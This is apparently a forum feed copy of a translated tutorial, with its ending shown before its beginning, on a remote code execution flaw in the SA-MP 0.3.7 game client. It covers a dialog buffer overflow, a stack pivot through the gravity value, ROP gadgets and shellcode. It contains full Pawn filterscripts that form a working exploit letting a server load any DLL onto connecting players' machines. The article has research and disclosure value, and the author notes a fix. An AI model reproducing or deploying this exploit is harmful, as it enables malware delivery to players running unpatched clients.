&nbsp;&nbsp;&nbsp;&nbsp;switch (dwReasonForCall)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;case DLL_PROCESS_ATTACH:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetTimer(NULL, 0, 1000, (TIMERPROC)MainTimer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;case DLL_THREAD_ATTACH:<br />
&nbsp;&nbsp;&nbsp;&nbsp;case DLL_THREAD_DETACH:<br />
&nbsp;&nbsp;&nbsp;&nbsp;case DLL_PROCESS_DETACH:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<br />
}</code></div></div>Let's compile it and run it through sRDI:<br />
<img src="https://i.imgur.com/MlVj2A6.jpeg" loading="lazy"  alt="[Image: MlVj2A6.jpeg]" class="mycode_img" /><br />
Let's update our filterscript by inserting a new shellcode and adding reading dll from a file and writing to the bitstream, not forgetting to do the alignment:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define FILTERSCRIPT<br />
#include &lt;a_samp&gt;<br />
#include &lt;Pawn.RakNet&gt;<br />
<br />
new const RPC_ShowDialog = 61;<br />
new const RPC_ScrSetGravity = 146;<br />
<br />
new payload1[] =<br />
{<br />
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15<br />
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00<br />
};<br />
<br />
new payload2[] =<br />
{<br />
0x15, 0x27, 0x40, 0x00, // pop ecx gadget<br />
0x37, 0x00, 0x00, 0x00, // ecx value<br />
0x8D, 0x2E, 0x40, 0x00, // pop edi gadget<br />
0x00, 0x60, 0x86, 0x00, // edi value<br />
0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget<br />
0x00, 0x00, 0x00, 0x00, // edi value<br />
0x00, 0x00, 0x00, 0x00, // esi value<br />
0x00, 0x60, 0x86, 0x00, // ret to dst<br />
0x00, 0x00, 0x00, 0x00, // pad<br />
<br />
0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x45, 0x3C, 0x2D, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x08, 0x8B,<br />
0x50, 0x08, 0x8B, 0x70, 0x0C, 0x83, 0xC1, 0x07, 0xC1, 0xE9, 0x03, 0x83, 0xC2, 0x07, 0xC1, 0xEA, 0x03,<br />
0x29, 0xD1, 0x01, 0xD6, 0x51, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x51, 0x6A, 0x00, 0xA1, 0xA4,<br />
0x81, 0x85, 0x00, 0xFF, 0xD0, 0x89, 0xC7, 0x59, 0xF3, 0xA4, 0xFF, 0xD0, 0x5F, 0x5E, 0xB8, 0x01, 0x00,<br />
0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00<br />
};<br />
<br />
<br />
new BitStream:payload_bs;<br />
<br />
new payload_array[21111];<br />
<br />
public OnFilterScriptInit()<br />
{<br />
payload_bs = BS_New();<br />
    BS_WriteUint16(payload_bs, 1); // dialog id<br />
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style<br />
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length<br />
for(new i = 0; i &lt; sizeof(payload2); i++) // caption<br />
{<br />
BS_WriteUint8(payload_bs, payload2[i]);<br />
}<br />
BS_WriteString8(payload_bs, ""); // left button<br />
BS_WriteString8(payload_bs, ""); // right button<br />
BS_WriteCompressedString(payload_bs, payload1); // text<br />
<br />
// align<br />
new offset;<br />
BS_GetWriteOffset(payload_bs, offset);<br />
BS_SetWriteOffset(payload_bs, PR_BYTES_TO_BITS(PR_BITS_TO_BYTES(offset)));<br />
<br />
// dll<br />
new File:fi = fopen("test.asi");<br />
new payload_len = flength(fi);<br />
if(payload_len &gt; sizeof(payload_array) * 4)<br />
{<br />
    printf("ERROR! Not enough space to read! %d needed", payload_len / 4);<br />
}<br />
else<br />
{<br />
fblockread(fi, payload_array);<br />
    printf("SUCC READ PAYLOAD of %d bytes", payload_len);<br />
for(new i = 0; i &lt; payload_len / 4; i++)<br />
{<br />
    BS_WriteUint32(payload_bs, payload_array[i]);<br />
}<br />
}<br />
fclose(fi);<br />
}<br />
<br />
public OnFilterScriptExit()<br />
{<br />
BS_Delete(payload_bs);<br />
}<br />
<br />
public OnPlayerCommandText(playerid, cmdtext[])<br />
{<br />
if(!strcmp("/aasd1", cmdtext, true))<br />
{<br />
PerformRCE(playerid);<br />
return 1;<br />
}<br />
return 0;<br />
}<br />
<br />
PerformRCE(playerid)<br />
{<br />
    SetPlayerGravity(playerid, Float:0x3C658B90);<br />
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
    HidePlayerDialog(playerid);<br />
    SetPlayerGravity(playerid, 0.008);<br />
}<br />
<br />
SetPlayerGravity(playerid, Float:gravity)<br />
{<br />
new BitStream:bs = BS_New();<br />
BS_WriteFloat(bs, gravity);<br />
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}<br />
<br />
HidePlayerDialog(playerid)<br />
{<br />
new BitStream:bs = BS_New();<br />
    BS_WriteUint16(bs, -1); // id<br />
BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style<br />
BS_WriteString8(bs, " "); // caption<br />
BS_WriteString8(bs, ""); // left button<br />
BS_WriteString8(bs, ""); // right button<br />
BS_WriteCompressedString(bs, " "); // text<br />
PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}</code></div></div><a href="https://pastebin.com/tk0CMKZ9" target="_blank" rel="noopener" class="mycode_url">(pastebin link)</a><br />
Join into the game, enter the command, wait some time until the RPC is transferred to the client, because it is now quite large, and... everything works! Congratulations, we have just created a sasi loader, that is, Server ASI Loader. Now you can load any dll you want from the server to the client. But remember that downloading malware is punishable by law.<br />
<br />
<span style="font-size: large;" class="mycode_size">Conclusion</span><br />
<br />
Well, thank you for reading this article. I will be glad to see your comments, remarks and questions. In conclusion, I note that the written shellcode will work on all revisions 0.3.7, because there are no differences in the functions we worked with. Apparently, this vulnerability appeared since the introduction of the dialog system, that is, since version 0.3a (2009), and has now been fixed in the latest version of the R5 client (2022). Of course, the fix can be implemented for other versions using the asi or even lua mods. It is strictly recommended to use the latest version of SA-MP with all fixes, and also not to join the servers that cause you suspicion and that you do not trust.<br />
P.S. did you like the article? stay in touch, I have something else interesting for you ;)]]></description>
			<content:encoded><![CDATA[<a href="https://www.blast.hk/threads/204305/" target="_blank" rel="noopener" class="mycode_url">This article in Russian / Эта статья на русском</a><br />
<span style="font-style: italic;" class="mycode_i">Note: this article was translated using Google Translate because I'm too lazy to do it by myself. So if you notice some mistakes please let me know and I'll correct them.</span><br />
<br />
Hello everyone. Surely many have heard about some vulnerabilities in SA-MP, about the strange abbreviation RCE, about client versions R4, R4-2, R5, which contain some kind of fixes for these vulnerabilities and which practically no one uses. Well, it's time to reveal all the information in detail.<br />
To fully understand this article and everything that is happening, you will need some knowledge of C++, assembler and reverse engineering. However, if you do not have such knowledge, I will still try to present the information in the most accessible way, in the spirit of a kind of detective story, where nothing is clear, but it is very interesting. Who knows, maybe this article will inspire you to study this area and change your life forever... Well, okay, I got distracted. Let's get started.<br />
<br />
<span style="font-size: large;" class="mycode_size">Introduction.</span><br />
<br />
So what is this vulnerability and what does RCE mean? In general, RCE, i.e. Remote Code Execution, is a vulnerability that allows you to remotely execute your code in an application. In other words, speaking as an exploiter, you can run arbitrary code (program) using the vulnerable program. Speaking as a potential victim, you could have arbitrary code running without your knowledge and without your knowledge. Roughly speaking, a hacker can force a vulnerable program to download another program and run it. Actually, in our case, this very "vulnerable program" is SA-MP.<br />
Where do such vulnerabilities come from? As a result of mistakes made during program development, SA-MP is no exception in this regard. Often such errors occur due to the possibility of overrunning array boundaries, which allows arbitrary data to be written to other areas of memory.<br />
The search and development of such a vulnerability into the RCE can be divided into the following stages:<br />
1. Search for a potential vulnerability in the program.<br />
2. Analysis of potential opportunities and ways to use.<br />
3. Development of the primary shellcode, which will "open the gates" for us to fully execute arbitrary code.<br />
4. Development of a scenario for using the found RCE.<br />
Well, let's get started.<br />
<br />
<span style="font-size: large;" class="mycode_size">Stage 1. Search.</span><br />
<br />
To find a vulnerability, it is necessary to purposefully reverse the application in those places where incoming external data is processed, looking for potential overflows and other errors. Sometimes fuzzing can also help, but we won't consider it here. I will be using client version 0.3.7 R3-1, as well as IDA Pro + Hex-Rays as a disassembler and decompiler. I will also take a ready-made database for IDA for client version R3-1 <a href="https://www.blast.hk/threads/192665/" target="_blank" rel="noopener" class="mycode_url">by LUCHARE</a>.<br />
Because I already know where the vulnerability is, I'll just demonstrate a potetntial sequence of actions on how it could be found. So, let's look at the RPC ShowDialog handler at 1000F7B0:<br />
<img src="https://i.imgur.com/RLjU2q6.jpeg" loading="lazy"  alt="[Image: RLjU2q6.jpeg]" class="mycode_img" /><br />
Everything is ok here, let's now take a look at CDialog::Open, there is a large switch-case structure depending on the style of the dialog. Let's look at the code branch for type 2, i.e. for DIALOG_STYLE_LIST. There the function sub_1006F4A0 is immediately called (I will rename it to CDialog::PrepareListbox for convenience), let's look at it:<br />
<img src="https://i.imgur.com/7YBFlTX.jpeg" loading="lazy"  alt="[Image: 7YBFlTX.jpeg]" class="mycode_img" /><br />
Here is the szText buffer for splitting lines in the dialog. A local buffer of 264 elements is used, all necessary checks are present. But now let's look at CDialog::GetTextScreenLength:<br />
<img src="https://i.imgur.com/aExuDut.jpeg" loading="lazy"  alt="[Image: aExuDut.jpeg]" class="mycode_img" /><br />
This function uses a local buffer to place a line into it, cut the color codes {xxxxxx} and calculate the width of the text for dialog box creation. And oops, here is a local array with 132 cells, and an array with 264 elements is passed here. Let's take a look at how it is located on the stack:<br />
<img src="https://i.imgur.com/VK6yiKi.jpeg" loading="lazy"  alt="[Image: VK6yiKi.jpeg]" class="mycode_img" /><br />
This function does not save any registers on the stack, including the esp value of the calling function, and the array itself is located "at the bottom" of the stack, so it is immediately followed by the return address. This means that if we pass one single line without hyphens of length 132 to the dialog, we will fill this local array completely, and if we add another 4 bytes, we will completely rewrite the return address. Let's create a test filterscript using the Pawn.RakNet plugin:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define FILTERSCRIPT<br />
#include &lt;a_samp&gt;<br />
#include &lt;Pawn.RakNet&gt;<br />
<br />
new const RPC_ShowDialog = 61;<br />
<br />
new payload1[] =<br />
{<br />
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15<br />
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x11, 0x22, 0x33, 0x44<br />
};<br />
<br />
new BitStream:payload_bs;<br />
<br />
public OnFilterScriptInit()<br />
{<br />
payload_bs = BS_New();<br />
    BS_WriteUint16(payload_bs, 1); // dialog id<br />
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style<br />
BS_WriteString8(payload_bs, "this is caption"); // caption<br />
BS_WriteString8(payload_bs, "left button"); // left button<br />
BS_WriteString8(payload_bs, "right button"); // right button<br />
BS_WriteCompressedString(payload_bs, payload1); // text<br />
}<br />
<br />
public OnFilterScriptExit()<br />
{<br />
BS_Delete(payload_bs);<br />
}<br />
<br />
public OnPlayerCommandText(playerid, cmdtext[])<br />
{<br />
if(!strcmp("/aasd1", cmdtext, true))<br />
{<br />
        PR_SendRPC(payload_bs, playerid, RPC_ShowDialog);<br />
return 1;<br />
}<br />
return 0;<br />
}</code></div></div>Here a string of 132 spaces is created, and then comes the address 0x44332211. Let's load fs, join the server and enter the command:<br />
<img src="https://i.imgur.com/5ta7ofs.jpeg" loading="lazy"  alt="[Image: 5ta7ofs.jpeg]" class="mycode_img" /><br />
Voila, we get a crash at this address! Thus, at this stage we can go to an arbitrary address.<br />
<br />
<span style="font-size: large;" class="mycode_size">Stage 2. Analysis.</span><br />
<br />
So, we can jump to any absolute address, which means that our next goal is to write our code somewhere into executable (this is important) memory and jump to this address. And here we face a number of serious problems.<br />
Problem one. You need to write your code not just anywhere, but in executable memory, i.e. to a region in which there are both writing and execution allowed.<br />
Problem two. The string with the contents of the dialog is transmitted as text, while in the RPC structure of the dialog it is compressed by algorithms in the RakNet library, and the null character (0x00) is a sign of the end of the string. This means that we cannot pass a string containing zeros, and we really need them.<br />
Problem three. In the CDialog::PrepareListbox function, string is limited to 256 characters, and we overflow after the 132nd, which means we can go 124 bytes out of bounds. Potentially, this may either be insufficient, or sufficient, but will complicate the task, because we need to manipulate the stack and write our own code, and not just bytes, but kilobytes and even megabytes.<br />
Faced with such problems, it may seem that in this case the vulnerability cannot be implemented at all, but these problems require a comprehensive approach, you need to know some of the features and nuances.<br />
In fact, there could be much more problems, in modern software there are all sorts of stack canary, ASLR, PIE and other horrors, but we are dealing with the ancient GTA San Andreas and SA-MP, where there are no such things or they are disabled intentionally. In addition, SA-MP itself is a mod that dirty hacks the game's memory, which sometimes only makes our work easier.<br />
In particular, SA-MP patches the game's memory by installing its own hooks. By default, executable memory is write-protected, so SA-MP is forced to give executable memory pages write permission in order to write its hooks. The protection is set to the entire page, because you cannot set protection only to some specific bytes. In this case, SA-MP forgets to return the original protection to the page, i.e. set write-protection again, so there remain regions in which writing and executing are allowed at the same time. You can view the memory map, for example, in Cheat Engine:<br />
<img src="https://i.imgur.com/15tAjp7.jpeg" loading="lazy"  alt="[Image: 15tAjp7.jpeg]" class="mycode_img" /><br />
I liked the region with the address 0x00866000, size 4kb (this is the size of one page), this will be enough. At that address there are string for saving game statistics to an html file. This feature is never used, so you can safely overwrite them there. But for now, let's remember and put this address aside and return to it later.<br />
I would also like to note one feature of SA-MP: it has a feature for changing gravity, i.e. you can set this value from the server. How is this implemented? It's very simple - the client simply writes the received value to a static address in the game itself. There is just one small, but very important detail: for some reason, the execute-protection is removed after setting the gravity. Because gravity is float, i.e. 4 bytes, we can write 4 bytes of executable code to an known address. It would seem that these are only 4 bytes, but we will also return to them a little later and, believe me, they will play a decisive role.<br />
And now about more pressing problems. So, at this step we can go beyond the boundaries of the buffer on the stack, overwrite the return address, thereby we can jump to any known static address and nothing more. We cannot yet write down our code, much less call it. But we can call code that already exists in the game! Or rather, only the fragments we need. This technique is called ROP, i.e. Return-Oriented Programming. For example, we have the following instructions at address 0x00555550: pop ecx; ret; and at address 0x00444440 there is pop edi; ret; Taking advantage of our buffer overflow, we write the following onto the stack:<br />
0x00555550, 0x00000011, 0x00444440, 0x00000022<br />
This is what will happen:<br />
1) When the ret instruction is executed in our CDialog::GetTextScreenLength, an execution will go to address 0x00555550, the esp register will point to the value 0x00000011<br />
2) At address 0x00555550 the pop ecx instruction will be executed, i.e. the value will be taken from the stack and assigned to the ecx register. What do we have there at the top of the stack? That's right, 0x00000011, which means this value will be written to the ecx register, and the esp register will be shifted lower to the value 0x00444440<br />
3) Next the ret instruction will be executed. There will be a jump to address 0x00444440, the esp register will point to 0x00000022<br />
4) At address 0x00444440 the pop edi instruction will be executed, the edi register will be assigned the value 0x00000022<br />
etc.<br />
Thus, with the help of such chains, called rop chains, we can manipulate registers, as well as call other commands we need, in particular, copying data from one memory area to another. The called code fragments themselves are named gadgets, and the main difficulty here is to find suitable gadgets among the entire game code. Tools such as radare2, ROPgadget and others have been created specifically for searching for gadgets, but we will not consider them in this article.<br />
But we have another problem that does not allow us to write zeros to the string, and for rop chains we need them. To solve this (and not only) problem, a technique called stack pivoting is used, which consists in changing the value of esp. Alternatively, we can place our rop chains in a more suitable place, and then replace the esp with this most "suitable place". Question: how to replace esp? Answer: still the same, using a gadget. In total, finding a suitable place for rop chains and finding a suitable gadget for stack pivoting can be the most difficult task, perhaps even without a solution, and, as a consequence, without the ability to implement a vulnerability, but we have a unique case here.<br />
In addition to the dialog text itself, the caption string and the left and right button strings are also sent in RPC. If you inspect the code of the RPC_ShowDialog handler, you will notice that a specified number of bytes are read from the bitstream into a local buffer. The length is limited to 256 characters, and there is no restrctions by the presence of null characters. Great, you can use one of these three buffers, I'll take caption. Now the question is - how to get to it on the stack? The ebp register will help us with this. From the entire chain of calls RPC_ShowDialog -&gt; CDialog::Open -&gt; CDialog::PrepareListbox -&gt; CDialog::GetTextScreenLength saving esp in ebp occurs in CDialog::PrepareListbox, i.e. ebp stores the value of esp from CDialog::Open at the time CDialog::PrepareListbox is called. IDA can give us a little hint about where the caption pointer is relative to esp in CDialog::Open:<br />
<img src="https://i.imgur.com/l0i9rME.jpeg" loading="lazy"  alt="[Image: l0i9rME.jpeg]" class="mycode_img" /><br />
But don't relax. During its exectuion, CDialog::Open saves the values of one of the registers (+1) on the stack, pushes 2 arguments to CDialog::PrepareListbox (+2), calls it (+1), and CDialog::PrepareListbox itself saves the ebp register onto the stack (+1). Thus, saved esp is also shifted up by 5 positions, which means that we need to add 5 times 4 to 0x28, i.e. 0x14. We get 0x3C.<br />
You can calculate it another way by turning on in IDA the display of the stack pointer in the listing:<br />
<img src="https://i.imgur.com/lZxulKW.jpeg" loading="lazy"  alt="[Image: lZxulKW.jpeg]" class="mycode_img" /><br />
Add to it a shift at call (+0x4), push ebp in the called function (another +0x4), and add a shift to the caption itself:<br />
<img src="https://i.imgur.com/kQb6E7m.jpeg" loading="lazy"  alt="[Image: kQb6E7m.jpeg]" class="mycode_img" /><br />
0x28+0x4+0x4+0xC=0x3C.<br />
But in general, I would not recommend counting this way, because it is easy to make mistakes and miss something here. It is much better to calculate the offset empirically: take a debugger, set a breakpoint, send a dialog with some text to the caption, when the breakpoint is triggered, scroll through the stack window and find there the pointer to the caption using the previously specified text, calculate the difference between it and the ebp value.<br />
So, to set esp to the caption buffer, we need:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>mov esp, dword ptr [ebp+0x3c]</code></div></div>And then execute ret to go to the address of the gadget, which will already be set at the beginning of the caption. But we won't be able to find such a 1-in-1 gadget, because compilers do not generate such code, and finding an alternative sequences of several gadgets can be quite problematic. But why find it when we can record such a gadget ourselves? It's time for our gravity!<br />
To convert assembly code into machine codes, I will use <a href="https://defuse.ca/online-x86-assembler.htm" target="_blank" rel="noopener" class="mycode_url">this website</a>. We get the following code:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]<br />
3:  c3                      ret</code></div></div>This means that we can set the gravity value to 0xC33C658B, then call the overflow dialog to the address of the gravity variable, and the top of the stack will move to the caption! But don't rush. Looking into memory at the address of the gravity variable, namely 0x00863984, you can see that the next value is 0xC3, and our last instruction is also 0xC3. At the same time, if you represent 0xC33C658B as a float, you get the value -188.396652222, which can have a rather negative effect on the game, because the default value is non-negative and equal to 0.008, anomalies may appear and the game may freeze altogether, so we can juggle a little with the instructions so that the value turns out to be close to 0.008. The best combination would be:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0:  90                      nop<br />
1:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]</code></div></div>So we'll get 0x3C658B90, which in float representation will be 0.0140103250742, and it is not even very different from the original. But in any case, we will restore the original value in the end.<br />
Well, let's update our filterscript, namely:<br />
1. Write the address of gravity in the overflowing text buffer, where we have a gadget with stack pivoting.<br />
2. Instead of text, write an arbitrary address in the caption (in the future we will have rop chains there).<br />
3. Let's write a function to set gravity for the player using Pawn.RakNet. We will also implement sending gravity and dialog RPCs in a separate ordering channel with the RELIABLE_ORDERED reliability, so that the RPCs will be received strictly in the order they were sent, and set a low priority (this will be useful in the future).<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define FILTERSCRIPT<br />
#include &lt;a_samp&gt;<br />
#include &lt;Pawn.RakNet&gt;<br />
<br />
new const RPC_ShowDialog = 61;<br />
new const RPC_ScrSetGravity = 146;<br />
<br />
new payload1[] =<br />
{<br />
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15<br />
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00<br />
};<br />
<br />
new payload2[] =<br />
{<br />
    0x66, 0x77, 0x88, 0x99<br />
};<br />
<br />
<br />
new BitStream:payload_bs;<br />
<br />
public OnFilterScriptInit()<br />
{<br />
payload_bs = BS_New();<br />
    BS_WriteUint16(payload_bs, 1); // dialog id<br />
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style<br />
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length<br />
for(new i = 0; i &lt; sizeof(payload2); i++) // caption<br />
{<br />
BS_WriteUint8(payload_bs, payload2[i]);<br />
}<br />
BS_WriteString8(payload_bs, "left button"); // left button<br />
BS_WriteString8(payload_bs, "right button"); // right button<br />
BS_WriteCompressedString(payload_bs, payload1); // text<br />
}<br />
<br />
public OnFilterScriptExit()<br />
{<br />
BS_Delete(payload_bs);<br />
}<br />
<br />
public OnPlayerCommandText(playerid, cmdtext[])<br />
{<br />
if(!strcmp("/aasd1", cmdtext, true))<br />
{<br />
PerformRCE(playerid);<br />
return 1;<br />
}<br />
return 0;<br />
}<br />
<br />
PerformRCE(playerid)<br />
{<br />
    SetPlayerGravity(playerid, Float:0x3C658B90);<br />
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
    SetPlayerGravity(playerid, 0.008);<br />
}<br />
<br />
SetPlayerGravity(playerid, Float:gravity)<br />
{<br />
new BitStream:bs = BS_New();<br />
BS_WriteFloat(bs, gravity);<br />
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);<br />
BS_Delete(bs);<br />
}</code></div></div>We compile, load, join the server, enter the command, we get a crash at address 0x99887766, as we specified.<br />
<img src="https://i.imgur.com/anC5BLQ.jpeg" loading="lazy"  alt="[Image: anC5BLQ.jpeg]" class="mycode_img" /><br />
Great! The hardest part is over, now we can move on to the stage of making rop chains and the primary shell.<br />
<br />
<span style="font-size: large;" class="mycode_size">Stage 3. Development</span><br />
<br />
Now we are faced with 2 tasks. First, we need to find a sequence of gadgets that will copy the shellcode from the stack into the executable memory. The second is to actually code this shellcode, we will place it next to the gadgets in the caption. We need to remember that we are limited to 256 bytes, and the shellcode should help us execute larger code than a couple hundred bytes.<br />
Rep movsb/movsw/movsd instructions are used to copy memory locations. The address where to copy is placed in the edi register, where to copy from - in the esi register, and the number of iterations - in the ecx register. This means we need to find about 4 gadgets. Let's start by finding a gadget to copy. Having looked through all such instructions in the game code, I found one that turned out to be very interesting:<br />
<img src="https://i.imgur.com/7JXAtbV.jpeg" loading="lazy"  alt="[Image: 7JXAtbV.jpeg]" class="mycode_img" /><br />
Here we have very conveniently setup of the esi register, and the address from the stack is loaded there. Just what we need, and one less gadget to setup esi.<br />
Let's start writing our rop chain. Let's set the return address to the lea instruction:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x005B2EE6</code></div></div>After performing a copy in the gadget, the values in edi and esi are taken from the stack. We don't need them, so we'll just fill zeros to make the stack correct:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value</code></div></div>Then, we need to specify the address for the next jump. Because at this point our shellcode will be copied, we will jump theme. At the last stage, we determined that we would copy our shellcode to address 0x00866000. We will specify it:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst</code></div></div>Now we need to calculate where to place the shellcode. Because the instruction look like this:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>lea esi, [esp+0x10]</code></div></div>then this means:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>(esp-0x04) 0x005B2EE6 // rep movsd gadget<br />
(esp+0x00) 0x00000000 // edi value<br />
(esp+0x04) 0x00000000 // esi value<br />
(esp+0x08) 0x00866000 // ret to dst<br />
(esp+0x0C) ...<br />
(esp+0x10) ...</code></div></div>This means that after the last return address we need to skip one position. Let's put zeros there too. As a result, our rop chain at now will look like this:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0x005B2EE6 // rep movsd gadget<br />
0x00000000 // edi value<br />
0x00000000 // esi value<br />
0x00866000 // ret to dst<br />
0x00000000 // pad<br />
(shellcode here)</code></div></div>Now we need to find a gadget to set the value in edi. Everything is simple here, we need to find the sequence of pop edi; ret commands. In binary form it will be 0x5F, 0xC3, so we'll just find this sequence of bytes in the game code. It was found at address 0x00402E8D. This means our rop chain will now look like this:<br />
